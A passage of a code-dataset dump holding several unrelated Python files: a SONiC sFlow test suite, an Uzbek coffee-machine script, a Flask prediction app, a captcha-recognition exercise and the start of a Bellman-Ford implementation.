kwargs['sample_rate']))\n\n# ----------------------------------------------------------------------------------\n\n\ndef config_sflow_collector(duthost, collector, config):\n    collector = var[collector]\n    if config == 'add':\n        duthost.shell('config sflow collector add %s %s --port %s ' %\n                      (collector['name'], collector['ip_addr'], collector['port']))\n    elif config == 'del':\n        duthost.shell('config sflow collector  del %s' % collector['name'])\n# ----------------------------------------------------------------------------------\n\n\ndef verify_show_sflow(duthost, status, **kwargs):\n    show_sflow = duthost.shell('show sflow')['stdout']\n    assert re.search(r\"sFlow Admin State:\\s+%s\" %\n                     status, show_sflow), \"Sflow Admin State is not %s\" % status\n    if 'polling_int' in kwargs:\n        assert re.search(r\"sFlow Polling Interval:\\s+%s\" %\n                         kwargs['polling_int'], show_sflow), \"Sflow Polling Interval is not %s\" % kwargs['polling_int']\n    if 'agent_id' in kwargs:\n        assert re.search(r\"sFlow AgentID:\\s+%s\" %\n                         kwargs['agent_id'], show_sflow), \"Sflow Agent Id is not %s\" % kwargs['agent_id']\n    if 'collector' in kwargs:\n        collector = kwargs['collector']\n        if len(collector) is None:\n            assert re.search(\"0 Collectors configured\",\n                             show_sflow), \" Expected 0 collectors , but collectors are present\"\n        else:\n            assert re.search(\"%s Collectors configured:\" % len(\n                collector), show_sflow), \"Number of Sflow collectors should be %s\" % len(collector)\n            for col in collector:\n                assert re.search(r\"Name:\\s+%s\\s+IP addr:\\s%s\\s+UDP port:\\s%s\" % (\n                    var[col]['name'], var[col]['ip_addr'], var[col]['port']), show_sflow),\\\n                    \"col %s is not properly Configured\" % col\n\n# ----------------------------------------------------------------------------------\n\n\ndef verify_sflow_interfaces(duthost, intf, status, sampling_rate):\n    show_sflow_intf = duthost.shell('show sflow interface')['stdout']\n    assert re.search(r\"%s\\s+\\|\\s+%s\\s+\\|\\s+%s\" % (intf, status, sampling_rate),\n                     show_sflow_intf), \"Interface %s is not properly configured\" % intf\n\n# ----------------------------------------------------------------------------------\n\n\n@pytest.fixture\ndef partial_ptf_runner(request, ptfhost, tbinfo):\n    def _partial_ptf_runner(**kwargs):\n        params = {'testbed_type': tbinfo['topo']['name'],\n                  'router_mac': var['router_mac'],\n                  'dst_port': var['ptf_test_indices'][2],\n                  'agent_id': var['lo_ip'],\n                  'sflow_ports_file': \"/tmp/sflow_ports.json\"}\n        params.update(kwargs)\n        ptf_runner(host=ptfhost,\n                   testdir=\"ptftests\",\n                   platform_dir=\"ptftests\",\n                   testname=\"sflow_test\",\n                   params=params,\n                   socket_recv_size=16384,\n                   log_file=\"/tmp/{}.{}.log\".format(\n                       request.cls.__name__, request.function.__name__),\n                   is_python3=True)\n\n    return _partial_ptf_runner\n\n# ----------------------------------------------------------------------------------\n\n\n@pytest.fixture(scope='class')\ndef sflowbase_config(duthosts, rand_one_dut_hostname):\n    duthost = duthosts[rand_one_dut_hostname]\n    config_sflow(duthost, 'enable')\n    config_sflow_collector(duthost, 'collector0', 'add')\n    config_sflow_collector(duthost, 'collector1', 'add')\n    duthost.shell(\"config sflow polling-interval 20\")\n    for port in var['sflow_ports']:\n        config_sflow_interfaces(\n            duthost, port, status='enable', sample_rate='512')\n    time.sleep(2)\n    verify_show_sflow(duthost, status='up', collector=[\n                      'collector0', 'collector1'])\n    for intf in var['sflow_ports']:\n        verify_sflow_interfaces(duthost, intf, 'up', 512)\n\n\n# ----------------------------------------------------------------------------------\n\nclass TestSflowCollector():\n    \"\"\"\n    Test Sflow with 2 collectors , adding or removibg collector and verify collector samples\n    \"\"\"\n\n    def test_sflow_config(self, duthosts, rand_one_dut_hostname, partial_ptf_runner):\n        duthost = duthosts[rand_one_dut_hostname]\n        # Enable sflow globally and enable sflow on 4 test interfaces\n        # add single collector , send traffic and check samples are received in collector\n        config_sflow(duthost, 'enable')\n        config_sflow_collector(duthost, 'collector0', 'add')\n        duthost.command(\"config sflow interface disable all\")\n        for port in var['sflow_ports']:\n            config_sflow_interfaces(\n                duthost, port, status='enable', sample_rate='512')\n        verify_show_sflow(duthost, status='up', collector=['collector0'])\n        for intf in var['sflow_ports']:\n            verify_sflow_interfaces(duthost, intf, 'up', 512)\n        time.sleep(5)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0']\")\n\n    def test_collector_del_add(self, duthosts, rand_one_dut_hostname, partial_ptf_runner):\n        duthost = duthosts[rand_one_dut_hostname]\n        # Delete a collector and check samples are not received in collectors\n        config_sflow_collector(duthost, 'collector0', 'del')\n        time.sleep(2)\n        verify_show_sflow(duthost, status='up', collector=[])\n        time.sleep(5)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"[]\")\n        # re-add collector\n        config_sflow_collector(duthost, 'collector0', 'add')\n        verify_show_sflow(duthost, status='up', collector=['collector0'])\n        time.sleep(2)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0']\")\n\n    def test_two_collectors(self, sflowbase_config, duthosts, rand_one_dut_hostname, partial_ptf_runner):\n        duthost = duthosts[rand_one_dut_hostname]\n        # add 2 collectors with 2 different udp ports and check samples are received in both collectors\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        time.sleep(2)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0','collector1']\")\n\n        # Remove second collector anc check samples are received in only 1st collector\n        config_sflow_collector(duthost, 'collector1', 'del')\n        verify_show_sflow(duthost, status='up', collector=['collector0'])\n        time.sleep(5)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0']\")\n\n        # Re-add second collector and check if samples are received in both collectors again\n        config_sflow_collector(duthost, 'collector1', 'add')\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        time.sleep(5)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0','collector1']\")\n\n        # Add third collector and check only 2 collectors can be configured\n        out = duthost.command(\n            \"config sflow collector add collector2 192.168.0.5 \", module_ignore_errors=True)\n        assert \"Only 2 collectors can be configured, please delete one\" in out['stdout']\n\n        # remove first collector and check DUT sends samples to collector 2 woth non default port number (6344)\n        config_sflow_collector(duthost, 'collector0', 'del')\n        verify_show_sflow(duthost, status='up', collector=['collector1'])\n        time.sleep(10)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector1']\")\n\n\n# ------------------------------------------------------------------------------\n@pytest.mark.usefixtures(\"sflowbase_config\")\n@pytest.mark.usefixtures(\"config_sflow_agent\")\nclass TestSflowPolling():\n    \"\"\"\n    Test Sflow polling with different polling interval and\n    check whether the test interface sends one counter sample for every polling interval\n    Disable polling and check the dut doesn't send counter samples .\n    \"\"\"\n\n    def testPolling(self, duthost, partial_ptf_runner):\n        duthost.shell(\"config sflow polling-interval 20\")\n        verify_show_sflow(duthost, status='up', polling_int=20)\n        partial_ptf_runner(\n            polling_int=20,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testDisablePolling(self, duthost, partial_ptf_runner):\n        duthost.shell(\"config sflow polling-interval 0\")\n\n        verify_show_sflow(duthost, status='up', polling_int=0)\n        partial_ptf_runner(\n            polling_int=0,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testDifferntPollingInt(self, duthost, partial_ptf_runner):\n        duthost.shell(\"config sflow polling-interval 60\")\n\n        verify_show_sflow(duthost, status='up', polling_int=60)\n        partial_ptf_runner(\n            polling_int=60,\n            active_collectors=\"['collector0','collector1']\")\n\n# ------------------------------------------------------------------------------\n\n\nclass TestSflowInterface():\n    \"\"\"\n    Enable / Disable Sflow interfaces and check the samples are received only from  the intended interface\n    Test interfaceswith different sampling rates\n    \"\"\"\n\n    def testIntfRemoval(self, sflowbase_config, duthost, partial_ptf_runner):\n        sflow_int = sorted(var['sflow_ports'].keys())\n        config_sflow_interfaces(duthost, sflow_int[0], status='disable')\n        config_sflow_interfaces(duthost, sflow_int[1], status='disable')\n\n        verify_sflow_interfaces(duthost, sflow_int[0], 'down', 512)\n        verify_sflow_interfaces(duthost, sflow_int[1], 'down', 512)\n        enabled_intf = sflow_int[2:]\n        for intf in enabled_intf:\n            verify_sflow_interfaces(duthost, intf, 'up', 512)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=enabled_intf,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testIntfSamplingRate(self, sflowbase_config, duthost, ptfhost, partial_ptf_runner):\n\n        # re-add ports with different sampling rate\n        sflow_int = sorted(var['sflow_ports'].keys())\n        test_intf = sflow_int[0]\n        test_intf1 = sflow_int[1]\n        config_sflow_interfaces(\n            duthost, test_intf, status='enable', sample_rate=256)\n        config_sflow_interfaces(duthost, test_intf1,\n                                status='enable', sample_rate=1024)\n\n        var['sflow_ports'][test_intf]['sample_rate'] = 256\n        var['sflow_ports'][test_intf1]['sample_rate'] = 1024\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        for intf in sflow_int:\n            verify_sflow_interfaces(\n                duthost, intf, 'up', var['sflow_ports'][intf]['sample_rate'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        time.sleep(2)\n        partial_ptf_runner(\n            enabled_sflow_interfaces=sflow_int,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testIntfChangeSamplingRate(self, sflowbase_config, duthost, partial_ptf_runner, ptfhost):\n\n        sflow_int = sorted(var['sflow_ports'].keys())\n        test_intf = sflow_int[0]\n        test_intf1 = sflow_int[1]\n        # revert the sampling rate to 512 on both ports\n        config_sflow_interfaces(duthost, test_intf, sample_rate=512)\n        config_sflow_interfaces(duthost, test_intf1, sample_rate=512)\n        var['sflow_ports'][test_intf]['sample_rate'] = 512\n        var['sflow_ports'][test_intf1]['sample_rate'] = 512\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        for intf in sflow_int:\n            verify_sflow_interfaces(\n                duthost, intf, 'up', var['sflow_ports'][intf]['sample_rate'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        partial_ptf_runner(\n            enabled_sflow_interfaces=sflow_int,\n            active_collectors=\"['collector0','collector1']\")\n\n# ------------------------------------------------------------------------------\n\n\n@pytest.mark.usefixtures(\"sflowbase_config\")\nclass TestAgentId():\n    \"\"\"\n    Add loopback0 ip as the agent id and check the samples are received with intended agent-id.\n    Remove agent-ip and check whether samples are received with previously cofigured agent ip.\n    Add eth0 ip as the agent ip and check the samples are received with intended agent-id.\n    \"\"\"\n\n    def testNonDefaultAgent(self, duthost, partial_ptf_runner):\n        agent_ip = var['lo_ip']\n        duthost.shell(\" config sflow agent-id del\")\n        duthost.shell(\" config sflow agent-id  add Loopback0\")\n        verify_show_sflow(duthost, status='up', agent_id='Loopback0')\n        partial_ptf_runner(\n            polling_int=20,\n            agent_id=agent_ip,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testDelAgent(self, duthost, partial_ptf_runner):\n        duthost.shell(\" config sflow agent-id del\")\n        verify_show_sflow(duthost, status='up', agent_id='default')\n        time.sleep(5)\n        # Verify  whether the samples are received with previously configured agent ip\n        partial_ptf_runner(\n            polling_int=20,\n            agent_id=var['mgmt_ip'],\n            active_collectors=\"['collector0','collector1']\")\n\n    def testAddAgent(self, duthost, partial_ptf_runner):\n        agent_ip = var['mgmt_ip']\n        duthost.shell(\" config sflow agent-id  add  eth0\")\n        verify_show_sflow(duthost, status='up', agent_id='eth0')\n        partial_ptf_runner(\n            polling_int=20,\n            agent_id=agent_ip,\n            active_collectors=\"['collector0','collector1']\")\n\n# ------------------------------------------------------------------------------\n\n\n@pytest.mark.disable_loganalyzer\nclass TestReboot():\n\n    def testRebootSflowEnable(self, sflowbase_config, config_sflow_agent, duthost,\n                              localhost, partial_ptf_runner, ptfhost):\n        duthost.command(\"config sflow polling-interval 80\")\n        verify_show_sflow(duthost, status='up', polling_int=80)\n        duthost.command('sudo config save -y')\n        reboot(duthost, localhost)\n        assert wait_until(\n            300, 20, 0, duthost.critical_services_fully_started), \"Not all critical services are fully started\"\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'], polling_int=80)\n        for intf in var['sflow_ports']:\n            var['sflow_ports'][intf]['ifindex'] = get_ifindex(duthost, intf)\n            var['sflow_ports'][intf]['port_index'] = get_port_index(\n                duthost, intf)\n            verify_sflow_interfaces(duthost, intf, 'up', 512)\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0','collector1']\")\n        # Test Polling\n        partial_ptf_runner(\n            polling_int=80,\n            active_collectors=\"['collector0','collector1']\")\n\n    def testRebootSflowDisable(self, sflowbase_config, duthost, localhost, partial_ptf_runner, ptfhost):\n        config_sflow(duthost, sflow_status='disable')\n        verify_show_sflow(duthost, status='down')\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"[]\")\n        duthost.command('sudo config save -y')\n        reboot(duthost, localhost)\n        assert wait_until(\n            300, 20, 0, duthost.critical_services_fully_started), \"Not all critical services are fully started\"\n        verify_show_sflow(duthost, status='down')\n        for intf in var['sflow_ports']:\n            var['sflow_ports'][intf]['ifindex'] = get_ifindex(duthost, intf)\n            var['sflow_ports'][intf]['port_index'] = get_port_index(\n                duthost, intf)\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"[]\")\n\n    def testFastreboot(self, sflowbase_config, config_sflow_agent, duthost, localhost, partial_ptf_runner, ptfhost):\n\n        config_sflow(duthost, sflow_status='enable')\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        duthost.command('sudo config save -y')\n        reboot(duthost, localhost, reboot_type='fast')\n        assert wait_until(\n            300, 20, 0, duthost.critical_services_fully_started), \"Not all critical services are fully started\"\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        for intf in var['sflow_ports']:\n            var['sflow_ports'][intf]['ifindex'] = get_ifindex(duthost, intf)\n            var['sflow_ports'][intf]['port_index'] = get_port_index(\n                duthost, intf)\n            verify_sflow_interfaces(duthost, intf, 'up', 512)\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0','collector1']\")\n\n    def testWarmreboot(self, sflowbase_config, duthost, localhost, partial_ptf_runner, ptfhost):\n\n        config_sflow(duthost, sflow_status='enable')\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        duthost.command('sudo config save -y')\n        reboot(duthost, localhost, reboot_type='warm')\n        assert wait_until(\n            300, 20, 0, duthost.critical_services_fully_started), \"Not all critical services are fully started\"\n        verify_show_sflow(duthost, status='up', collector=[\n                          'collector0', 'collector1'])\n        for intf in var['sflow_ports']:\n            var['sflow_ports'][intf]['ifindex'] = get_ifindex(duthost, intf)\n            var['sflow_ports'][intf]['port_index'] = get_port_index(\n                duthost, intf)\n            verify_sflow_interfaces(duthost, intf, 'up', 512)\n        var['portmap'] = json.dumps(var['sflow_ports'])\n        ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n        partial_ptf_runner(\n            enabled_sflow_interfaces=list(var['sflow_ports'].keys()),\n            active_collectors=\"['collector0','collector1']\")\n","repo_name":"sonic-net/sonic-mgmt","sub_path":"tests/sflow/test_sflow.py","file_name":"test_sflow.py","file_ext":"py","file_size_in_byte":26095,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"51"}
+{"seq_id":"4421277196","text":"# kofe tayyorlab beradigan avtomatik qurilma\n\nombordagi_maxsulotlar = {           # maxsulot : millilitr va gram da ===>  maxsulotlar zaxirasi\n    \"suv\"    : 25000,       # 20 litr = 20 000 millilitr\n    \"shakar\" : 1000,        # 1 kg   = 10 000 gram\n    \"sut\"    : 5000,        # 5 litr  = 5 000 millilitr\n    \"cofe\"   : 3000,        # 3 kg    = 3 000 gram\n    \"kakao\"  : 1000}         # 1 kg    = 1 000 gram\n\n\nmasalliq_narxi = {             # masalliqlar : 1 kg narxi, sut va suv litrda narxi\n    \"suv\"    : 2000,\n    \"shakar\" : 15000,\n    \"sut\"    : 9000,\n    \"cofe\"   : 450000,\n    \"kakao\"  : 1000}\n\nkofe = {\n    \"1\" :{\"Americano\"  : {\"suv\"    : 210,\n                          \"shakar\" : 15,\n                          \"sut\"    : 40,\n                          \"cofe\"   : 7,\n                          \"kakao\"  : 5}},\n    \"2\" :{\"Cappuccino\" : {\"suv\"    : 200,\n                          \"shakar\" : 18,\n                          \"sut\"    : 50,\n                          \"cofe\"   : 8,\n                          \"kakao\"  : 7}},\n    \"3\" :{\"Latte\"      : {\"suv\"    : 220,\n                          \"shakar\" : 10,\n                          \"sut\"    : 30,\n                          \"cofe\"   : 8,\n                          \"kakao\"  : 5}},\n    \"4\" :{\"Espresso\"   : {\"suv\"    : 250,\n                          \"shakar\" : 15,\n                          \"sut\"    : 0,\n                          \"cofe\"   : 10,\n                          \"kakao\"  : 2}},\n    \"5\" :{\"MacCoffe\"   : {\"suv\"    : 260,\n                          \"shakar\" : 12,\n                          \"sut\"    : 10,\n                          \"cofe\"   : 8,\n                          \"kakao\"  : 12}},\n}\n\ndef Tulov(Summa):\n    print(\"  $ Summangiz: \", ((Summa//1000 + 1)*1000))\n    pul = int(input(\"Tulov qilishingiz mumkin: \"))\n    if pul >= Summa:\n        print(\"\\n  __________________________________\\n\",\n              \"|   Maxsulotni olishingiz mumkin.  |\\n\",\n              \" --  --  --  --  --  --  --  --  --\\n\",\n              \"|       Qoldiq =\", pul%1000, \"     \\t\\t\\t|\\n\",\n              \" ----------------------------------\\n\",\n              \" --  --  --  --  --  --  --  --  --\\n\",\n              \"|       Qaytim =\", pul//1000*1000 - ((Summa//1000 + 1)*1000), \"     \\t\\t|\\n\",\n              \" ----------------------------------\\n\")\n    else:\n        print(\"Yetarli mablag' kiritmadingiz hali,\")\n        Tulov(Summa)\n\n\ndef Qayta_maxsulot_tanlash(davom_etish):\n    if davom_etish == \"0\":\n        print(\"Sizga xizmat ko'rsatishdan mamnunmiz.\")\n        return quit()\n    elif davom_etish == \"1\":\n        Asosiy()                                                                    #ffffffffffffffffffffffffffffffffffffffffffff\n    else:\n        davom_etish = input(\"Kerakli buyruqni tanlang iltimos !!!\\n\\t\\t\\t\"\n                            \"1 -> HA\\n\\t\\t\\t\"\n                            \"0 -> YO'Q\\n\\t\\t\\t\"\n                            \" >>>  Tanlash: \")\n\n\ndef Asosiy():\n    zakaz = input(\"\"\"    1 >  Americano - $\n    2 >  Cappuccino - $\n    3 >  Latte - $\n    4 >  Espresso - $\n    5 >  MacCoffe - $\n    0 >  Chiqish\n\n         Kofe tanlang: \"\"\")\n\n    if zakaz=='1' or zakaz=='2' or zakaz=='3' or zakaz=='4' or zakaz=='5':\n        Summa = 0\n        nechta = int(input(\"%s dan necha dona kerak: \" %(list(kofe[zakaz].keys())[0])))\n\n        omborda_kam_maxsulotlar = {}\n\n        for i, j in kofe[zakaz][list(kofe[zakaz].keys())[0]].items():\n                                                                                                        #print(bool(ombordagi_maxsulotlar), \"va\", bool(omborda_kam_maxsulotlar), \"--\", ombordagi_maxsulotlar, omborda_kam_maxsulotlar)\n            ombordagi_maxsulotlar[i] -= kofe[zakaz][list(kofe[zakaz].keys())[0]][i] * nechta            # xatolik. bundan pastdagi shartni bajarmaydiganlarini ham hisoblab quyadi\n            if ombordagi_maxsulotlar[i] <= 0:\n                omborda_kam_maxsulotlar[i] = ombordagi_maxsulotlar[i]\n            elif i in masalliq_narxi and not bool(omborda_kam_maxsulotlar):                 # bungacha minus bulmasa hisoblab quyadi\n                Summa += masalliq_narxi[i] * kofe[zakaz][list(kofe[zakaz].keys())[0]][i] * nechta / 1000\n\n        if bool(omborda_kam_maxsulotlar):                                               # xatolik. bu shartni bajarmaydiganlarini ombordagi_maxsulotlar[i] da hisob kitob xato\n            print(\"Uzur bizda \", end=\" \")\n            for i, j in omborda_kam_maxsulotlar.items():\n                ombordagi_maxsulotlar[i] += kofe[zakaz][list(kofe[zakaz].keys())[0]][i] * nechta\n                        #for check   print(\"1) \", kofe[zakaz][list(kofe[zakaz].keys())[0]][i] * nechta ,\"va\", i, j,  '1)')\n                print(f\"< {i} - {abs(j)} >\", end=\"\")\n            print(\" dan kam.\")\n                                                                                        #for check  print(ombordagi_maxsulotlar)\n            Qayta_maxsulot_tanlash(davom_etish = input(\"Boshqa maxsulot tanlaysizmi?\\n\\t\\t\\t\"\n                   \"1 -> HA\\n\\t\\t\\t\"\n                   \"0 -> YO'Q\\n\\t\\t\\t\"\n                   \" >>>  Tanlash: \"))                                                      #fffffffffffffffffffffffffffffffffffffffffffff\n\n                                                                                                 #for check    print(ombordagi_maxsulotlar)\n        Tulov(Summa)                                                                        #fffffffffffffffffffffffffffffffffffffffffffffff\n\n        Qayta_maxsulot_tanlash(davom_etish = input(\"Yana maxsulot tanlaysizmi?\\n\\t\\t\\t\"     #ffffffffffffffffffffffffffffffffffff\n                        \"1 -> HA\\n\\t\\t\\t\"\n                        \"0 -> YO'Q\\n\\t\\t\\t\"\n                        \" >>>  Tanlash: \"))\n\n    elif zakaz == \"0\":\n        x = False\n        print(\" Sizga yoqmaydigan maxsulot borligidan afsusdamiz.\"\n              \" Keyingi safar abatta maxsulotimizni ko'paytiramiz\")\n    else:\n        print(\"Iltimos mavjud buyruq kiriting.\")\n        Asosiy()                                                                            #ffffffffffffffffffffffffffffffffffff\n\nAsosiy()\n\n\n","repo_name":"Jasurbek-code/Suniy-intellekt-kurs-mashguloti","sub_path":"proyektlar/Kofe_avtomatikasi.py","file_name":"Kofe_avtomatikasi.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"uz","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"6271184866","text":"import numpy as np\nfrom flask import Flask,request,jsonify,render_template\nimport pickle\nimport math\n\napp=Flask(__name__)\n\nmodel=pickle.load(open('taxi.pkl','rb'))\n\n@app.route('/')\n\ndef home():\n    return render_template('index.html')\n\n@app.route('/predict', methods=['POST'])\n\ndef predict():\n    fet=[int(x) for x in request.form.values()]\n    final_feat=[np.array(fet)]\n    predictn=model.predict(final_feat)\n    output=round(predictn[0],2)\n    return render_template('index.html',prediction_text='Number of rides {}'.format(math.floor(output)))\n\nif __name__=='__main__':\n    app.run(host='0.0.0.0', port=5000)\n\n\n","repo_name":"sachin7bisht/Uber_prediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35402472565","text":"# DO NOT CHANGE THE NAME OF THIS METHOD OR ITS INPUT OUTPUT BEHAVIOR\r\n\r\n# INPUT CONVENTION\r\n# filenames: a list of strings containing filenames of images\r\n\r\n# OUTPUT CONVENTION\r\n# The method must return a list of strings. Make sure that the length of the list is the same as\r\n# the number of filenames that were given. The evaluation code may give unexpected results if\r\n# this convention is not followed.\r\nimport numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom keras.models import model_from_json\r\n#from tensorflow.keras.models import model_from_json\r\nimport os\r\n\r\n\r\n# image dims after resizing in preprocessing 2\r\nim_width = 200\r\nim_height = 50\r\n\r\n# target dim\r\nt_len = 3\r\nt_letters = 24\r\n\r\nletters = {'ALPHA': 0, 'BETA': 1, 'CHI': 2, 'DELTA': 3, 'EPSILON': 4, 'ETA': 5, 'GAMMA': 6,\r\n           'IOTA': 7, 'KAPPA': 8, 'LAMDA': 9, 'MU': 10, 'NU': 11, 'OMEGA': 12, 'OMICRON': 13,\r\n           'PHI': 14, 'PI': 15, 'PSI': 16, 'RHO': 17, 'SIGMA': 18, 'TAU': 19, 'THETA': 20,\r\n           'UPSILON': 21, 'XI': 22, 'ZETA': 23}\r\n\r\n\r\ndef bgwhitener(img):\r\n    height, width = img.shape[:2]\r\n    bgcolor = img[0][0].copy()\r\n    for i in range(height):\r\n        for j in range(width):\r\n            if(img[i][j][0] == bgcolor[0] and img[i][j][1] == bgcolor[1] and img[i][j][2] == bgcolor[2]):\r\n                img[i][j] = [255, 255, 255].copy()\r\n\r\n\r\ndef preprocess1(images_filename):\r\n    # put in the path to training images in here plz\r\n    img = cv2.imread(str(images_filename))\r\n    height, width = img.shape[:2]\r\n    # print(height,width)\r\n\r\n    bgwhitener(img)\r\n\r\n    # dilation\r\n    kernel = np.ones((5, 5), np.uint8)\r\n    dilate_img = cv2.dilate(img, kernel, iterations=1)\r\n\r\n    binary = dilate_img.copy()\r\n\r\n    # background black, others white, binarization\r\n    for i in range(height):\r\n        for j in range(width):\r\n            if(dilate_img[i][j][0] != 255 or dilate_img[i][j][1] != 255 or dilate_img[i][j][2] != 255):\r\n                binary[i][j] = [255, 255, 255].copy()\r\n            else:\r\n                binary[i][j] = [0, 0, 0].copy()\r\n\r\n    # contour detection\r\n    # edged = cv2.Canny(binary, 50, 100)\r\n    # contours,hier=cv2.findContours(edged,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n\r\n    # contoursReq=[]\r\n    # for i in contours:\r\n    #     if(i.shape[0]>50):\r\n    #         contoursReq.append(i)\r\n\r\n    # # print(len(contoursReq))\r\n    # # for i in range(3):\r\n    # #     print(contoursReq[i].shape)\r\n\r\n    # # drawing req contours\r\n    # ima=cv2.drawContours(binary.copy(),contoursReq,-1,(0,255,0),2)\r\n\r\n    # # masking\r\n    # mask=np.zeros_like(img)\r\n    # mask=cv2.drawContours(mask,contoursReq,-1,(255,255,255),2)\r\n\r\n    # for i in range(height):\r\n    #     for j in range(width):\r\n    #         if(mask[i][j][0]==255 and mask[i][j][1]==255 and mask[i][j][2]==255):\r\n    #             mask[i][j]=[0,0,0].copy()\r\n    #         else:\r\n    #             mask[i][j]=[255,255,255].copy()\r\n    return binary[:, :, 0]\r\n\r\n\r\ndef preprocess2(images_filenames):\r\n    # images_filenames is array of image file paths\r\n    nsamples = len(images_filenames)\r\n    # 2000*500*150*1 size array\r\n    X = np.zeros((nsamples, im_height, im_width, 1))\r\n\r\n    # put in the labels file location here plz\r\n\r\n    for i in range(nsamples):\r\n        # read image as grayscale to prevent noise\r\n        img = preprocess1(str(images_filenames[i]))\r\n        img = cv2.resize(img, (200, 50), cv2.INTER_LINEAR)\r\n        img = img/255.0\r\n        img = np.reshape(img, (im_height, im_width, 1))\r\n        X[i] = img\r\n\r\n    return X\r\n\r\ndef vector_to_labels(y):\r\n    strings={0:'ALPHA',1:'BETA',2:'CHI',3:'DELTA',4:'EPSILON',5:'ETA',6:'GAMMA',\r\n         7:'IOTA',8:'KAPPA',9:'LAMDA',10:'MU',11:'NU',12:'OMEGA',13:'OMICRON',\r\n         14:'PHI',15:'PI',16:'PSI',17:'RHO',18:'SIGMA',19:'TAU',20:'THETA',\r\n         21:'UPSILON',22:'XI',23:'ZETA'}\r\n    ls=[]\r\n    for i in range(len(y[0])):\r\n        g=[]\r\n        for j in range(t_len):\r\n            maxval=0\r\n            for k in range(24):\r\n                if(y[j][i][k]>y[j][i][maxval]):\r\n                    maxval=k\r\n            g.append(strings[maxval])\r\n        ans=''\r\n        for s in g[:-1]:\r\n            ans=ans+s+','\r\n        ans+=g[-1]\r\n        ls.append(ans)\r\n    return ls\r\n\r\n\r\ndef decaptcha(filenames):\r\n    nsamples = len(filenames)  # no.of samples\r\n    X = preprocess2(filenames)\r\n    labels = []\r\n    # load model\r\n\r\n    # load json and create model\r\n    json_file = open('model.json', 'r')\r\n    loaded_model_json = json_file.read()\r\n    json_file.close()\r\n    loaded_model = model_from_json(loaded_model_json)\r\n    # load weights into new model\r\n    loaded_model.load_weights(\"model.h5\")\r\n\r\n    yhat=loaded_model.predict(X)\r\n    pred=vector_to_labels(yhat)\r\n    labels=pred.copy()\r\n\r\n    return labels\r\n","repo_name":"kartechkeyan98/CaptchaSolver","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74194998877","text":"\nimport unittest\nfrom graph import Graph\n\n\ndef bellman_ford(graph, source):\n    assert isinstance(graph, Graph)\n    assert 0 <= source < len(graph)\n\n    marks = [None] * len(graph)\n    prev_vertex_marks = [None] * len(graph)\n\n    marks[source] = 0\n    last_relaxed_vertices = None\n\n    for iter_idx in xrange(len(graph)):  # |V| - to find out negative cycles\n        last_relaxed_vertices = []  # clear relaxed vertices on the prev. step\n\n        for v_from in xrange(len(graph)):   # double 'for' - |E|\n            if marks[v_from] is None:  # nothing to relax\n                continue\n\n            for v_to in graph[v_from]:\n                _relax(marks, prev_vertex_marks, v_from, v_to, graph.get_mark(v_from, v_to), last_relaxed_vertices)\n\n    # assert all(map(lambda x: isinstance(x, (int, long)), marks)), \"Graph has stand-alone vertices\"\n\n    # relaxed vertices are vertices on the negative cycle if not empty\n    return marks, prev_vertex_marks, last_relaxed_vertices\n\n\ndef _relax(marks, 